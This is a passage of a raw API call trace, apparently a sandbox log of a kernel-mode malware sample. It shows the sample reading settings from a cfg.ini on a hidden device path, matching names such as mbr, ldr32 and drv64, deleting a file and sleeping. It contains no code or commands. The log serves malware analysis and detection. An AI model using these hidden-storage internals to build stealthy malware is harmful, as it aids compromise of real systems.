PriorityBoost=0) [0126.460] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.460] KeEnterCriticalRegion () [0126.460] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.460] ExFreePoolWithTag (P=0xfffffa8007081bc0, Tag=0x0) [0126.460] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.460] KeLeaveCriticalRegion () [0126.460] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.460] ReleaseMutex (hMutex=0xf0) returned 1 [0126.460] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.460] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.460] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.460] KeEnterCriticalRegion () [0126.460] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.460] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.460] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.460] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.460] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.460] IdePortDispatch () returned 0x103 [0126.461] KeWaitForMutexObject () returned 0x0 [0126.461] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.461] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.461] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.461] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.461] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.461] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfa140 [0126.461] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.461] KeLeaveCriticalRegion () [0126.461] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.461] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.461] KeEnterCriticalRegion () [0126.461] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.461] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.461] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.461] KeLeaveCriticalRegion () [0126.461] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.461] KeEnterCriticalRegion () [0126.461] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.461] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.461] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.461] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.461] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.461] IdePortDispatch () returned 0x103 [0126.461] KeWaitForMutexObject () returned 0x0 [0126.461] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.461] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.461] KeLeaveCriticalRegion () [0126.461] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.461] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.461] KeEnterCriticalRegion () [0126.461] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.461] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034a0000 [0126.461] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.461] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.462] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.462] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.462] IdePortDispatch () returned 0x103 [0126.462] KeWaitForMutexObject () returned 0x0 [0126.462] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.462] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.462] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.462] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.462] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.462] IdePortDispatch () returned 0x103 [0126.462] KeWaitForMutexObject () returned 0x0 [0126.462] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.462] KeLeaveCriticalRegion () [0126.462] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.462] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.463] KeEnterCriticalRegion () [0126.463] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.463] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.463] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.463] KeLeaveCriticalRegion () [0126.463] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.463] KeEnterCriticalRegion () [0126.463] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.463] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.463] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfaca0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.463] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.463] KeLeaveCriticalRegion () [0126.463] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.463] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.463] KeEnterCriticalRegion () [0126.463] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.463] ExFreePoolWithTag (P=0xfffffa8003bfa140, Tag=0x0) [0126.463] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.463] KeLeaveCriticalRegion () [0126.463] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.463] ReleaseMutex (hMutex=0xf0) returned 1 [0126.463] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.463] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.463] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.463] KeEnterCriticalRegion () [0126.463] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.463] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.463] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.463] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.463] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.463] IdePortDispatch () returned 0x103 [0126.463] KeWaitForMutexObject () returned 0x0 [0126.463] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.463] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.463] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.463] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.464] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.464] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e1480 [0126.464] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.464] KeLeaveCriticalRegion () [0126.464] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.464] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.464] KeEnterCriticalRegion () [0126.464] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.464] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.464] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.464] KeLeaveCriticalRegion () [0126.464] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.464] KeEnterCriticalRegion () [0126.464] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.464] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.464] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.464] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.464] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.464] IdePortDispatch () returned 0x103 [0126.464] KeWaitForMutexObject () returned 0x0 [0126.464] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.464] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.464] KeLeaveCriticalRegion () [0126.464] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.464] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.464] KeEnterCriticalRegion () [0126.464] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.464] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034a1000 [0126.464] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.464] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.464] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.464] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.464] IdePortDispatch () returned 0x103 [0126.464] KeWaitForMutexObject () returned 0x0 [0126.465] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.465] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.465] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.465] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.465] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.465] IdePortDispatch () returned 0x103 [0126.465] KeWaitForMutexObject () returned 0x0 [0126.465] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.465] KeLeaveCriticalRegion () [0126.465] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.465] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.465] KeEnterCriticalRegion () [0126.465] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.465] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.465] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.465] KeLeaveCriticalRegion () [0126.466] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.466] KeEnterCriticalRegion () [0126.466] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.466] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.466] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037ec3f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.466] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.466] KeLeaveCriticalRegion () [0126.466] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.466] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.466] KeEnterCriticalRegion () [0126.466] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.466] ExFreePoolWithTag (P=0xfffffa80037e1480, Tag=0x0) [0126.466] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.466] KeLeaveCriticalRegion () [0126.466] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.466] ReleaseMutex (hMutex=0xf0) returned 1 [0126.466] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.466] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.466] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.466] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.466] KeEnterCriticalRegion () [0126.466] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.466] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.466] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.466] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.466] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.466] IdePortDispatch () returned 0x103 [0126.466] KeWaitForMutexObject () returned 0x0 [0126.466] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.466] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.466] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.466] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.466] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.466] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.466] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.466] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.466] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.466] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.467] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.467] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.467] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.467] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.467] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.467] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.467] KeLeaveCriticalRegion () [0126.467] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.467] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.467] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.467] KeEnterCriticalRegion () [0126.467] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.467] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.467] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.467] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.467] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.467] IdePortDispatch () returned 0x103 [0126.467] KeWaitForMutexObject () returned 0x0 [0126.467] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.467] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.467] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.467] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.467] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.467] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.467] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.467] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.467] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.467] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.467] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.467] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.467] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.467] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.467] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.467] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.467] KeLeaveCriticalRegion () [0126.467] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.467] ReleaseMutex (hMutex=0x100) returned 1 [0126.467] Sleep (dwMilliseconds=0x2bf20) [0126.474] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e93c2f0, dwHighDateTime=0x1d24fa4)) [0126.474] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0126.474] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.474] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.474] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.474] KeEnterCriticalRegion () [0126.474] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.474] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.474] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.474] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.474] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.474] IdePortDispatch () returned 0x103 [0126.474] KeWaitForMutexObject () returned 0x0 [0126.474] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.474] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.474] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.474] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.474] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.474] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfa200 [0126.474] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.474] KeLeaveCriticalRegion () [0126.474] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.474] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.474] KeEnterCriticalRegion () [0126.474] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.474] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.474] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.474] KeLeaveCriticalRegion () [0126.474] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.475] KeEnterCriticalRegion () [0126.475] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.475] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.475] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.475] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.475] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.475] IdePortDispatch () returned 0x103 [0126.475] KeWaitForMutexObject () returned 0x0 [0126.475] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.475] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.475] KeLeaveCriticalRegion () [0126.475] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.475] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.475] KeEnterCriticalRegion () [0126.475] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.475] MmMapLockedPagesSpecifyCache 